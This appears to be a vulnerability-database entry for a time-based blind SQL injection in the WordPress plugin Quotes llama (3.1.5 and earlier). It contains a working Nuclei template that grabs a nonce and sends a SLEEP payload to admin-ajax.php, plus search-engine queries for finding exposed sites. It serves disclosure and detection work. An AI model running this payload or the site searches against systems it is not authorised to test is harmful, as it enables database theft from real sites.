CVE-2026-56062: Quotes llama <= 3.1.5 - SQL Injection

2026-11-09 PoC Public

Description

Quotes llama 3.1.5 and earlier contains a time-based blind SQL injection vulnerability caused by improper control of a SQL identifier. The select_search() AJAX handler (registered for guests via wp_ajax_nopriv_select_search) reads the attacker-controlled 'sc' parameter from $_POST and substitutes it into the query through the malformed wpdb placeholder '%1s'.

Details

CVE
CVE-2026-56062 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-56062

info:
  name: Quotes llama <= 3.1.5 - SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: critical
  description: |
    Quotes llama 3.1.5 and earlier contains a time-based blind SQL injection vulnerability caused by improper control of a SQL identifier. The select_search() AJAX handler (registered for guests via wp_ajax_nopriv_select_search) reads the attacker-controlled 'sc' parameter from $_POST and substitutes it into the query through the malformed wpdb placeholder '%1s'.
  impact: |
    An unauthenticated attacker can extract sensitive data from the WordPress database, including user credentials and other stored information, through time-based blind SQL injection.
  remediation: |
    Update the Quotes llama plugin to version 3.1.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56062
    - https://patchstack.com/database/wordpress/plugin/quotes-llama/vulnerability/wordpress-quotes-llama-plugin-3-1-5-sql-injection-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-56062
    epss-score: 0.01438
    epss-percentile: 0.73327
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: quotes-llama
    product: quotes_llama
    shodan-query: 'http.html:"wp-content/plugins/quotes-llama/"'
    fofa-query: 'wp-content/plugins/quotes-llama/'
  tags: cve,cve2026,wordpress,wp-plugin,quotes-llama,sqli

flow: |
  if (http(1)) {
    if (template["nonce"] == "") {
      stop();
    }
    http(2);
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/quotes-llama/")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        part: body
        regex:
          - '(?:nonce="|ql_token" value=")([a-f0-9]{10})"'

  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=select_search&nonce={{nonce}}&search_form=1&sc=(SELECT%201%20FROM%20(SELECT%20SLEEP(7))a)&term=nuclei

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502210080c68eb5569642da8eedd763559d53b0bc13244648783f174396f63ace9df158022032437db0138d4ed6cd9845806765e8a00f07b27a56e5dfe8440744b7933a76c7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life